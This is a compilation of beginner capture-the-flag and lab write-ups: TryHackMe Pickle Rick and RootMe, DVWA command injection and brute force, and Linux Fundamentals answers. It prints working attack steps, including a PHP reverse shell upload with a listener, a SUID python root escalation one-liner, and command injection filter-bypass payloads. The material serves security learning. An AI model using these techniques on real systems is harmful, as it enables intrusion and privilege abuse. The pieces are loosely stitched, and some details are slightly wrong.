Initiate Nmap Scan:

Type the following command:

nmap -sC -sV <IP>

• -sC: This flag triggers default script scanning, which executes a set of common scripts to gather additional information.
• -sV: This flag enables version detection, helping to identify services and their versions.
• <IP>: Replace this with the target IP address you're scanning.

Scan Execution:

• Press ‘Enter’ to execute the command. Nmap begins scanning the target machine for open ports and running services.

Scan Results Analysis:

• Upon completion, Nmap presents a summary of its findings:

SSH (Port 22):

• Indicates the presence of the Secure Shell service, commonly used for secure remote access.

HTTP (Port 80):

• Indicates the Hypertext Transfer Protocol service, typically associated with web servers.

2. Enumeration of Web Services:

Upon inspecting the provided Rick and Morty-themed webpage hosted on the HTTP service, a message from Rick to Morty reveals a peculiar situation: Rick, having transformed himself into a pickle, seeks Morty’s help to retrieve three secret ingredients essential for his transformation back into a human. The twist lies in Rick’s forgotten computer password, prompting Morty to employ his hacking prowess to assist.

While scouring the webpage’s source code, a crucial clue surfaces in the form of the username “R1ckRul3s.”

To expand our exploration, a Gobuster scan becomes the next step, aiming to uncover concealed files or directories within the target system.

gobuster dir -u 10.10.24.201 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 6

Executing the command provided, we engage Gobuster with specific flags: ‘-dir’ to focus on directories and files,

‘-u’ to designate the target URL as 10.10.24.201,

‘-w’ to utilize a wordlist located at ‘/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt’,

‘-x’ to specify the extensions for enumeration (in this case, ‘php’, ‘html’, and ‘txt’), and ‘-t’ to determine the concurrency level with 60 threads.

While opting for a smaller wordlist, it’s worth noting that more extensive ones are available for comprehensive assessments. This Gobuster scan is expected to reveal hidden elements, potentially unveiling critical paths or resources crucial to progressing further in the investigation of the system.

Exploring the discovered directories and files is the next logical step after uncovering them through the Gobuster scan. While investigating the identified paths such as ‘login.php’, ‘.php’, ‘html’, ‘index.html’, ‘/assets’, and ‘portal.php’, a crucial file named ‘robots.txt’ emerges.

Upon inspecting the ‘/assets’ directory, the search yielded no apparent findings, suggesting that the sought-after ingredients or clues may reside elsewhere within the system. Given the significance of the ‘robots.txt’ file in web applications, it may contain hidden or restricted directories that aren’t explicitly linked or accessible through normal browsing. Delving into ‘robots.txt’ might disclose additional paths or directories that could be pivotal in our quest to acquire the three secret ingredients for Rick’s transformation.

Accessing the ‘robots.txt’ file using the URL format ‘https://ip/robots.txt' revealed a significant finding — a password: ‘Wubbalubbadubdub’.

3. System Access and Revealing Secret Ingredients:

When accessing the login.php page via the web browser, it presents itself as the portal login interface. Leveraging the username discovered within the source code of the homepage and the password unearthed from the robots.txt file, we employ this login combination within the portal.

http://10.10.24.201/login.php

username: R1ckRul3s

password: Wubbalubbadubdub

Upon successful login using the obtained credentials, we gained access to various pages and menu options within the interface. However, it was the Commands tab that particularly drew our focus. As anticipated, this tab presented a panel facilitating the execution of system commands directly on the target machine.

Executing the ‘whoami’ command within the command injection form via the ‘executer’ button yielded an output of ‘www-data.’

This result indicates that the command was successfully executed within the context of the ‘www-data’ user. In Linux systems, ‘www-data’ is commonly associated with the user account that the web server uses to access files when serving web pages.

Running the ‘ls’ command, we identified several files and directories within the system:

- Sup3rS3cretPick13Ingred.txt
- assets
- clue.txt
- denied.php
- index.html
- login.php
- portal.php
- robots.txt

Among these, the file ‘Sup3rS3cretPick13Ingred.txt’ stands out, suggesting it might contain the sought-after secret ingredients required for Rick’s transformation from a pickle back to a human.

We tried reading the Sup3rS3cretPickl3Ingred.txt file using the cat command but we were intercepted by Mr. Meeseek he says that cat command is restricted

You can always do http://ip/Sup3rS3cretPickl3Ingred.txt to view the secret ingredient.

Upon accessing the file via a browser, the content of the file reveals the first ingredient needed for Rick’s transformation.

Side Note: After experimenting with different commands, it became evident that using the ‘less’ command was the solution. Entering ‘less Sup3rS3cretPickl3Ingred.txt’ allowed us to successfully retrieve our first ingredient from the file.

Executing the command ‘ls ../../../../home’ via command injection unveiled the existence of ‘rick’ and ‘ubuntu’ users within the system’s home directory.

Executing ‘ls ../../../../home/rick’ via command injection revealed the presence of a directory named ‘second ingredients’ within the ‘rick’ user’s home directory.

Reading the contents of the ‘second ingredients’ directory located at ‘../../../../../home/rick/second ingredients’ using the ‘less’ command allowed us to retrieve the second ingredient.

In order to view the files within the root user’s home directory, the ‘sudo’ command is required before executing ‘ls’:

This command, when executed, will display the contents of the root user’s home directory, granting visibility into the files and directories located there.

Great! Accessing ‘3rd.txt’ located at ‘../../../../../root/3rd.txt’ using ‘sudo less’ unveiled the final flag, marking the successful retrieval of the sought-after information.

After gathering all the secret ingredients, we successfully concocted the potion, leading to Rick’s transformation from a pickle back to a human!

Findings

1. Initial Exploration:

• Identification of open ports (SSH and HTTP).
• Discovery of a Rick and Morty-themed webpage.
• Extraction of a crucial username and password.

2. Web Application Enumeration:

• Gobuster scan revealing hidden directories and files.
• Extraction of a significant password from ‘robots.txt’.

3. System Access and Command Execution:

• Successful login to the system.
• Execution of commands, revealing ‘www-data’ as the executing user.
• Identification of critical files and directories within the system.

4. Secret Ingredients Retrieval:

• Creative use of command injection to access restricted files.
• Retrieval of the three secret ingredients necessary for Rick’s transformation.

Recommendations

1. Enhance Security Measures:

• Implement rigorous input validation and sanitization across all user-interfacing elements.
• Foster secure coding practices and utilize frameworks designed to mitigate command injection risks.

2. Regular Security Assessments:

• Conduct frequent security audits and penetration tests to identify vulnerabilities.
• Utilize automated scanning tools and manual code reviews to uncover potential risks.

3. Access Controls and Segmentation:

• Employ network segmentation and access controls to limit system exposure.
• Leverage least privilege principles to restrict user access and minimize potential damage.

Conclusion

The exploration of command injection vulnerabilities within the “Pickle Rick” challenge exemplifies the critical importance of robust security practices. By methodically identifying, exploiting, and mitigating vulnerabilities, this investigation not only retrieved the necessary ingredients for Rick’s transformation but also underscored the significance of proactive security measures in safeguarding systems against potential exploits.

Thank you for following along and I hope this step-by-step guide proves useful in some capacity.

If you spot any errors or have additional tips, feel free to share!

Stay tuned for more intriguing adventures in the future.

A big thank you to all the fantastic hackers involved!

Reference

• What is OS command injection, and how to prevent it? | Web Security Academy
• What Is Command Injection? | Examples, Methods & Prevention | Imperva

“Can you root me?”

Challenge accepted, so let’s root it!

Introduction

RootMe on TryHackMe is a Capture The Flag (CTF) style room aimed at beginners, providing a friendly environment with step-by-step guidance. However, it’s recommended to attempt the challenges without relying too heavily on the provided hints to experience the room as a regular CTF player would.

One aspect I particularly appreciate is the method used to gain an initial shell, which serves as excellent practice for this specific skill. Throughout the room, you’ll encounter various tools like nmap, gobuster, Burp Suite, reverse shells, and basic Linux privilege escalation, offering a well-rounded learning experience.

In this walkthrough, I aim to offer a distinctive perspective on the covered topics. Occasionally, I’ll delve into subjects not directly addressed in the TryHackMe room to provide supplementary knowledge that might prove useful.

RootMe, a Linux-based machine, contains vulnerabilities in its hosted website and SUIDs in the system. Throughout this walkthrough, I’ll demonstrate my approach to solving the challenges within this CTF-style room. You can follow along using the room link: [RootMe Room on TryHackMe].

The tools used in this walkthrough include the THM Attack Box and a Linux environment.

Methodology

OpenVPN Setup

• Establish the connection to TryHackMe’s network using OpenVPN.

Deploy the Machine

• Deploy the RootMe virtual machine within TryHackMe’s environment.

Reconnaissance

• Use Nmap for service version discovery.
• Identify Apache version and services running on specific ports.
• Utilize Gobuster for directory enumeration on the web server.

Getting a Shell

• Explore the ‘panel’ directory and create a customized shell script.
• Upload and execute the shell script on the server to establish a reverse shell connection.
• Upgrade the shell for enhanced functionality using Python.

Privilege Escalation

• Search for SUID files in the system.
• Execute commands to escalate privileges and access restricted directories.

1. OpenVPN Setup

Ensure you’ve set up OpenVPN to connect to TryHackMe’s network. If you’re unfamiliar with this, there’s likely a specific room or tutorial on TryHackMe that explains how to set up OpenVPN for their network. Search for the “OpenVPN” room or guide, which will walk you through downloading configuration files and setting up the VPN connection.

2. Deploy the Machine

• Click on the “Start Machine” or “Deploy” button within the room. This action will deploy the RootMe virtual machine in TryHackMe’s environment.
• Wait for a few moments while the machine is being provisioned.

3. Reconnaissance

3.1. Nmap

Absolutely, using Nmap with the `-sV` flag provides valuable information about the services and versions running on the specified IP address. Here’s an example command:

nmap -sV <ip_addr>

Replace `<ip_addr>` with the actual IP address of the deployed RootMe machine.

This command will perform a service version scan and display information about open ports and the services associated with them. As you mentioned, it will likely reveal ports like SSH and HTTP, allowing us to gather details about the running services, such as their versions and possibly additional information that might help in the exploitation process.

From the scan we can proceed to answer next question:
What version of Apache is running?
Answer: 2.4.29

What service is running on port 22?
Answer: ssh

Find directories on the web server using the GoBuster tool.
Answer: No answer needed

Anytime we see a web server running (port 80), we should be thinking about directory enumeration using a brute forcing tool. Port 80 is one of the most common for identifying and exploiting a weakness to gain a foothold on the target system.

We can use a web browser to browse to the home page for the web server, but it’s important to identify as many web pages as we can in order to expand our attack surface. This is why directory enumeration is so important.

I prefer to use dirb, for directory enumeration but since THM directs us to use gobuster, I went with it for this challenge:

3.2. Gobuster

When exploring a web server running on port 80, it’s crucial to expand the attack surface by identifying potential directories, as these could harbor hidden or sensitive content. Using a tool like Gobuster for directory enumeration is a smart approach. In this instance, the command

`gobuster dir -u 10.10.66.45 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` is employed.’

Here’s a breakdown:

`gobuster dir` initiates Gobuster for directory brute forcing,

`-u` specifies the target URL (replace `10.10.66.45` with the actual IP address), and `-w` indicates the wordlist to be used for the scan (in this case, `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`).

Executing this command will perform a systematic search through directories, potentially revealing hidden paths, aiding in uncovering additional entry points or vulnerabilities within the web server.

Upon conducting directory enumeration using Gobuster on the web server hosted at the specified IP address, two directories, namely ‘uploads’ and ‘panel’, were discovered. It was revealed that the ‘panel’ directory contained crucial information or functionalities that were relevant to the challenge’s objectives.

Getting a Shell

Examining the page’s source code can often reveal valuable information that aids in the enumeration process. Accessing the source code of the URL page through the browser using the Ctrl+U shortcut allows for a closer inspection of the underlying HTML, potentially uncovering useful details or clues that might assist in further exploration or exploitation.

When we typed “<target_ip>/panel/” we get the screen below. Navigate to the hidden ‘panel’ directory, which contains an upload form.

To create the shell file for upload, visit the GitHub repository provided https://github.com/pentestmonkey/php-reverse-shell and access the ‘shell.php’ script.

used command:

git clone https://github.com/pentestmonkey/php-reverse-shell

Open a text editor like Nano/Mousepad/Vim and paste the payload from the repository into a new file named ‘shell.php’. Ensure to modify the script by replacing the default IP address and port (usually 1234) with your AttackBox’s IP address. To find your AttackBox’s IP address, use the “ifconfig” command in the terminal or check the top-right corner of the TryHackMe environment.

This customized ‘shell.php’ file will facilitate the establishment of a reverse shell connection upon upload, allowing interaction with the vulnerable server.

This customized ‘shell.php’ file will facilitate the establishment of a reverse shell connection upon upload, allowing interaction with the vulnerable server.

After creating the ‘shell.php’ file, attempting to upload it to the ‘/panel/’ directory reveals that the server doesn’t accept .php files. In such cases, exploring alternative file extensions compatible with PHP becomes necessary. Quick research on Google indicates various PHP-compatible extensions like .php3, .php4, .php5, .php7, .phtml, .pht, among others. By trying different extensions, we aim to find one that the server accepts for PHP execution, allowing successful upload and execution of the shell script.

Upon successful upload, the file ‘shell.php’ is located within the ‘uploads’ directory on the server. To interact with this uploaded file, navigate to the specific URL: `ip_addr/uploads/` in your web browser. This action will trigger the execution of the uploaded ‘shell.php’ script on the server, initiating the reverse shell connection back to your AttackBox or specified IP address and port.

Before initiating the execution of the `php_reverse_shell.php5` file, it’s crucial to set up a listener on the chosen port to receive the reverse shell connection. Open a terminal and type `nc -lvnp 1234` (replace ‘1234’ with the port number specified in your modified PHP reverse shell file). This command initializes a netcat listener, poised to accept the reverse shell connection from the uploaded PHP file once triggered on the server.

Running the command `python3 -c ‘import pty;pty.spawn(“bin/bash”)’` initiates a Python command that leverages the `pty` module to spawn a pseudo-terminal running `/bin/bash`.

This action is performed to upgrade the existing shell session, usually after successfully gaining limited access as a lower privileged user, such as ‘www-data’. By spawning a bash shell using Python, it allows for a more interactive and functional shell environment, providing increased capabilities and access within the system. In this specific scenario, executing this command aimed to elevate privileges and attain a more robust shell, often necessary for performing advanced enumeration, privilege escalation, or accessing restricted areas within the system.

Navigating through the directories ‘/home’ and ‘/var/www’ using the commands ‘cd /home’ and ‘cd /var/www’ respectively, I listed the contents and discovered two files. Among these files, ‘user.txt’ likely contains information or a flag associated with the user, indicating progression towards completing the challenge.

5. Privilege escalation

One of the most intriguing steps for me in any room or challenge is the examination for SUID (Set User ID) files within the system. To conduct this check, I often rely on a straightforward command:

find / -perm -u=s -type f 2>/dev/null

This command efficiently searches the entire system (‘/’) for files that have the SUID bit set, denoted by the permission ‘-u=s’. The ‘2>/dev/null’ segment ensures any error messages during the search are suppressed, allowing for a clean output displaying only the identified SUID files. This exploration often unveils files with elevated permissions, providing potential avenues for privilege escalation or further investigation within the system.

Executing `python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’` launches a Python command that calls the `os.execl()` function, executing `/bin/sh` with the `-p` flag. This command essentially spawns a new shell session, providing an interactive shell with escalated privileges. Upon entering this shell, running the command `whoami` confirms that the user is now ‘root’, signifying administrative access.

Continuing the exploration, navigating to the ‘/root’ directory using `cd /root` reveals the contents within. Using the command `ls`, it lists the available files, displaying ‘root.txt’, indicating the presence of the root flag or relevant information required to complete the challenge. Accessing the ‘root.txt’ file or reading its contents, likely by using `cat root.txt` or a similar command, unveils the root flag, marking the successful completion of the challenge objectives. This sequence of commands and exploration signifies the successful escalation of privileges to the root user, enabling access to restricted directories and ultimately obtaining the root flag within the ‘/root’ directory.

And we are done!

Findings

• Discovered Apache version 2.4.29.
• Identified SSH service running on port 22.
• Uncovered ‘uploads’ and ‘panel’ directories during directory enumeration.
• Successfully established a reverse shell connection and upgraded shell for better access.
• Accessed ‘user.txt’ within ‘/home’ directory and ‘root.txt’ in ‘/root’ directory, completing the challenge objectives.

Recommendations

Diversify Tool Usage:

• Experiment with alternative tools beyond the recommended ones (like dirb instead of Gobuster). Exploring different tools widens your skill set and prepares you for diverse scenarios.

Documentation and Note-Taking:

• Emphasize the importance of detailed note-taking during the process. Encourage participants to document each step, commands used, findings, and observations. Clear notes aid in understanding, troubleshooting, and revisiting the process.

Research and Learning:

• Encourage participants to research beyond the room’s scope. Suggest exploring related concepts, vulnerabilities, or tools to deepen understanding. Point them towards relevant online resources, forums, or courses for additional learning.

Collaborative Learning:

• Foster a collaborative environment. Encourage participants to engage in forums or communities (like TryHackMe’s Discord or other cybersecurity platforms) to discuss challenges, share insights, and learn from others’ approaches.

Practice Real-World Scenarios:

• Challenge participants to apply the learned techniques to real-world scenarios. Suggest platforms like Hack The Box, VulnHub, or real-world simulation labs to practice diverse challenges and scenarios.

Ethical Considerations:

• Emphasize ethical hacking practices and responsible disclosure. Encourage participants to respect systems, follow platform guidelines, and avoid causing harm during their exploration.

Additional recommendation

• Encourage exploration beyond guided hints to enhance problem-solving skills.
• Experiment with different tools and methods to broaden understanding.

Conclusion

RootMe on TryHackMe offers beginners a structured introduction to cybersecurity. This walkthrough detailed crucial tools like Nmap and Gobuster for reconnaissance, emphasized shell customization, and showcased privilege escalation techniques. It culminated in achieving ‘user.txt’ and ‘root.txt’.

Beyond flag acquisition, RootMe is a learning journey. Participants are encouraged to explore beyond hints, diversify tools, and adopt problem-solving mindsets. Documentation, collaboration, and ethical conduct are key. This walkthrough serves as a foundational guide, equipping learners with essential skills for cybersecurity exploration and defense.

Command Injection is a security vulnerability that occurs when an application allows untrusted user input to be executed as system commands. This vulnerability arises primarily due to improper handling or lack of validation of user-supplied data in commands that the application runs on the underlying operating system.

Let’s ensure your understanding of Command Injection vulnerability is crystal clear before delving into exploiting the DVWA challenge. This involves clarifying key aspects such as what Command Injection is, its causes, how to identify it, and measures to protect applications from this vulnerability.

What is Command Injection?
Command Injection occurs when an attacker can manipulate inputs (often through web forms or parameters in URLs) to inject arbitrary commands into the system. These commands are then executed with the same privileges as the vulnerable application, potentially leading to unauthorized actions or data breaches.

Code Injection and Command Injection are distinct vulnerabilities, so it’s important not to confuse the two. Below is a table highlighting the differences between these vulnerabilities:

Why does Command Injection vulnerability arise?
It arises due to improper handling of user inputs. When an application doesn’t sanitize or validate user inputs used in system commands, attackers can exploit this weakness by injecting malicious commands, leading to the execution of unauthorized actions.

How to identify Command Injection vulnerability?
Identifying Command Injection vulnerabilities involves testing the application with various inputs, especially in fields where system commands might be used (like search bars, input forms). Unusual responses or errors that appear when entering characters like semicolons, pipes, or backticks might indicate a vulnerability. Tools like Burp Suite or manual testing can help identify these vulnerabilities.

How to protect applications from this vulnerability?
1. Input Validation: Ensure all user inputs are properly validated and sanitized before being used in any system command.
2. Least Privilege Principle: Run the application with the lowest possible privileges required to perform its functions.
3. Avoid Shell Commands: Whenever possible, avoid using shell commands to execute tasks within the application.
4. Use Whitelisting: Only allow specific, known inputs rather than trying to blacklist potentially dangerous characters.

These are various techniques used to construct command injection payloads:

1. Pipe (|) or Semicolon (;): These characters allow for chaining commands together, executing either simultaneously (|) or sequentially (;).

2. Double Pipe (||) or Double Ampersand (&&): These symbols permit conditional execution based on the success or failure of the preceding command; || executes the second command if the first one fails, while && executes the second command only if the first one succeeds.

3. $(cmd): This syntax executes a command within a subshell, allowing for dynamic execution of commands or embedding command output within another command.

4. Direct Command Execution: Simply inputting a command directly to execute it.

5. Redirect Output (> or <): These symbols manage input/output redirection, allowing command output to be directed into files or read from files.

In this article, I will demonstrating how to exploit Command Injection vulnerabilities at various security levels in DVWA.

Low Level

We will start from low level and will proceed to high level gradually. Click on DVWA security button on the left pane to change the difficulty to low and select Command Injection challenge.

We are on the challenge page. First of all, we have to check the functionality of the application how it is behaving. On entering the loop back address or any valid IP address we found that the application is pinging it.

Given our earlier understanding that applications often use system commands like “$ ping” to execute actions (valid for both Windows and Linux), it’s evident that this app runs OS commands in the background for its functionalities. If we append our command injection payload with the loopback address, we can test if the application is vulnerable. By injecting “127.0.0.1 && ipconfig” into the input field, we observed that our injected command “$ ipconfig” was indeed executed, as indicated in arrow 4 of the Proof of Concept (PoC).

Source Code Analysis

Let’s examine the source code for this level. The $_REQUEST[‘ip’] PHP global variable (as indicated by arrow 1) is used to receive user input within the ‘ip’ parameter. Arrows 2 and 3 signify that whatever input is provided by the user inside the ‘ip’ parameter is directly passed into the shell_exec() function. This specific function is responsible for executing OS commands. As there’s no input validation or sanitization implemented on the ‘ip’ parameter, our injected payload was successfully executed.

Medium Level

Now change the dvwa security to medium as shown below.

We got the error.

Source Code Analysis

Sections 1, 4, and 5 maintain the identical code structure seen in the Low-level security instance. However, in Block 2, there’s an array with characters && and ; stored in the ‘substitutions’ variable. Block 3 utilizes this array in a call to str_replace(), replacing these characters (&& and ;) with a space (‘ ‘) in the user input. Consequently, when we attempted to concatenate our payload “&& ipconfig,” it became “ipconfig” due to the replacement of && with a space, resulting in the encountered error.

Bypass

To circumvent this limitation, we can employ different concatenation characters such as &, |, ||, etc. Let’s utilize the payload “127.0.0.1 & ipconfig” instead of the previous one. Upon testing, we confirmed that our injected payload was successfully executed.

High Level

Change the DVWA security level to High as shown below.

We got the error . I have also tried the payload 127.0.0.1 | ip a, and again it gave the same error. It appears that the application is again performing some type of input validation on the ip parameter.

Source Code Analysis

Let’s delve into the source code to understand the underlying processes. Blocks 1, 4, and 5 are consistent with what we observed in the medium-level security scenario. In Block 2, there are additional characters such as &, -, $, (, etc. present within the ‘substitutions’ variable. Block 3 utilizes this array in a call to str_replace(), replacing these characters with a space (‘ ‘). This explains why we encountered errors when attempting to concatenate our payload, such as && ipconfig or & ipconfig with 127.0.0.1. The substitution of these characters with a space resulted in the observed issues.

Bypass

In the provided source code, there’s a notable space after the pipe [| ] character. If the input in the ‘ip’ parameter is | ipconfig (with the space), it will replace it with a space. However, we can bypass this by using the payload |ipconfig (without the space), which won’t be blocked. Therefore, our final payload will look like 127.0.0.1|ip a.

Upon employing this payload instead of the previous one, we confirmed that our injected payload was successfully executed.

We’ve effectively exploited the Command Injection vulnerability within the DVWA web application across low, medium, and high-security levels.

Thank you for engaging with this article on Command Injection. I hope it has offered you new insights or helped enhance your understanding of Command Injection techniques.

References

Command_Injection

Code_Injection

os-command-injection

Brute force is a straightforward attack method where a malicious actor tries all possible combinations of a password or encryption key until finding the correct one. While it’s a simple and direct approach, it can be time-consuming and resource-intensive, depending on the complexity and length of the password or encryption.

The vulnerability of brute force lies in its reliance on computing power and time. If the password or encryption key is weak or short, brute force attacks can succeed relatively quickly. Longer, more complex passwords or encryption keys exponentially increase the time required to crack them using brute force.

Several techniques help mitigate brute force attacks:

1. Complexity Requirements: Encouraging strong, lengthy passwords with a mix of characters, symbols, and numbers significantly raises the time needed to crack them.

2. Account Lockout Policies: After a certain number of failed attempts, systems can lock accounts temporarily or permanently, making brute force attacks impractical.

3. Rate Limiting: Limiting the number of login attempts within a specific time frame reduces the effectiveness of brute force attacks.

4. Two-Factor Authentication (2FA): Adding an extra layer of security through 2FA makes it significantly harder for attackers to gain access, even if they crack the password.

5. Monitoring and Detection: Constantly monitoring login attempts for suspicious patterns helps in detecting and preventing brute force attacks in real-time.

The vulnerability of brute force lies in its reliance on computational power and time. As technology advances, faster computers and more sophisticated algorithms can decrease the time required for a successful brute force attack, making it crucial to implement robust security measures to protect against such threats.

LOW Security

first start the dvwa with a command docker start dvwa and Inside DVWA, I selected the Brute Force option, which takes me to a Login page.

I entered admin for the username and test for the password, which is the wrong username and password.

I intercepted using Burp Suite.

To elaborate, using Burp Suite implies that I intercepted or captured network traffic for analysis and potential manipulation. Burp Suite is a popular tool used for security testing and debugging of web applications. Interception allows a user to monitor and modify the requests and responses between a web browser and the targeted application, enabling various security checks and alterations before they reach their destination.

In the Burp Suite tool, Right-click inside the Raw data area → Send to Intruder.

The Intruder tool within Burp Suite automates the process of testing web applications for vulnerabilities by sending numerous requests containing different payloads. It’s specifically built to detect potential weaknesses like input validation issues such as SQL injection, cross-site scripting (XSS), buffer overflows, and directory traversal attacks. Essentially, it systematically probes the application with varied inputs to uncover possible security flaws.

Then I cleared all the payload markers, highlighted test after password → Selected Add.

I clicked on the Payloads tab to configure and add a list of strings used as payloads.

For the first Payload set, I typed a list of may words for the password.

Selected Load.

The list of passwords inside the password.txt file is set.

Everything is ready to go for the Brute Force attack!

Clicked Start attack!

Burp Suite is performing a Brute Force attack on DVAW

Payload 1 = Password: password

It worked! The Brute Force attack was successful.

Medium Security

Increasing security to the Medium level involves introducing a 2-second delay after failed login attempts, but this delay doesn’t effectively deter or sufficiently protect against brute force attacks. Instead, it simply prolongs the time required to execute the attack, slowing down the overall process.

I entered test for the username and test for the password, which is the wrong username and password.

As you can see, the username and password, test& test, I initially tried to log in with appears in line 1.

Then, Right-click inside the Raw data area/ Ctr + i → Send to Intruder.

Here we can Choose an attack type, Add or Clear payload markers, and Start attack.

I deleted all the green-highlighted payload markers, resulting in the clearance of all payload markers. Following this, I selected “Add” after highlighting “test” following both the username and password fields.

Then, I proceeded to choose the “Cluster bomb” attack type.

I navigated to the Payloads tab to set up and input a series of strings to be used as payloads. Initially, I entered a list of words for the username in the first Payload set. Then, I clicked the drop-down arrow in the Payload set and chose 2 for the second set.

Following this, I clicked on “Load” and selected the file, which contains a collection of common passwords I previously compiled. With the password list now set up, everything is prepared for the Brute Force attack!

The Brute Force attack on DVAW has been initiated by clicking “Start attack” in Burp Suite.

Once the attack completes, data analysis can be done by examining the Length. Any variation in Length compared to the others signifies the correct username and password combination.

For Payload 1:
- Username: admin

For Payload 2:
- Password: password

The Brute Force attack was successful.

High Security

I entered “admin” as the username and “test” as the password, which are incorrect credentials, and intercepted the request in Burp Suite.

Then, I forwarded it to intruder and cleared all the highlighted green payload markers, effectively clearing all payload markers. Then, I proceeded to highlight “test” and user_token, selecting “Add” for both.

Finally, I chose the “Pitchfork” attack type.

I navigated to the Payloads tab to set up and include a series of strings as payloads.

In the initial Payload set, I opted for the password.txt file, which contains a compilation of common passwords I assembled. Then, in the Payload set dropdown, I chose ‘2’ for the second Payload set, specifying the payload type as ‘recursive grep’.

At the resource pool navigation, I set the maximum concurrent requests to 1. Afterward, I proceeded to access the settings.

In the settings, I cleared the “grep-match” option and added “Welcome to” as the designated expression used to flag result items containing that specified text.

Scrolling down, I added a new grep extraction. Then, I clicked on the “Fetch Response” button and selected the “value token” from the source code.

Continuing to scroll down, I navigated to “Redirections” and chose the “Always” option.

Initiating the attack, I discovered that the password was “password,” and the attack was deemed successful.

In this tutorial, we will explore Linux Fundamentals Part 3 on Tryhackme. This section will delve into topics such as terminal text editors, general utilities, Linux processes, and more. Without further ado, let’s begin.

Task 1 — Introduction

Task 2 — Deploy Your Linux Machine

$ssh tryhackme@YOUR_MACHINE_IP

Task 3 — Terminal Text Editors

Question 1 — Create a file using Nano

Question 2 — Edit “task3” located in “tryhackme”‘s home directory using Nano. What is the flag?

Task 4 — General/Useful Utilities

Question 1 –Ensure you are connected to the deployed instance (10.10.1.43)

Done

Question 2 — Now, use Python 3’s “HTTPServer” module to start a web server in the home directory of the “tryhackme” user on the deployed instance.

Done

Question 3 — Download the file http://10.10.1.43:8000/.flag.txt onto the TryHackMe AttackBox

What are the contents?

run python server:

Question 4 — Create and download files to further apply your learning — see how you can read the documentation on Python3’s “HTTPServer” module.

Use Ctrl + C to stop the Python3 HTTPServer module once you are finished.

Done

Task 5 — Processes 101

Question 1 — Read me!

Done

Question 2 — If we were to launch a process where the previous ID was “300”, what would the ID of this new process be?

301

Question 3 — If we wanted to cleanly kill a process, what signal would we send it?

SIGTERM

Question 4 — Locate the process that is running on the deployed instance (10.10.195.122). What flag is given?

Task 6 — Maintaining Your System: Automation

Task 7 — Maintaining Your System: Package Management

Task 8 — Maintaining Your System: Logs

Question 1 — Look for the apache2 logs on the deployable Linux machine

Done

Question 2 — What is the IP address of the user who visited the site?

Question 3 — What file did they access?

Task 9 — Conclusions & Summaries

That concludes our exploration of “Linux Fundamentals Part 3.” We delved into various topics, including terminal text editors, general utilities, Linux processes, automation maintenance, package management, and more. We also practiced using terminal commands by solving several questions. This marks the conclusion of the three-part series on Tryhackme, and it was the final installment. With that, I bid you farewell for now, and we’ll meet again in the next adventure. But always remember, “Keep Hacking!”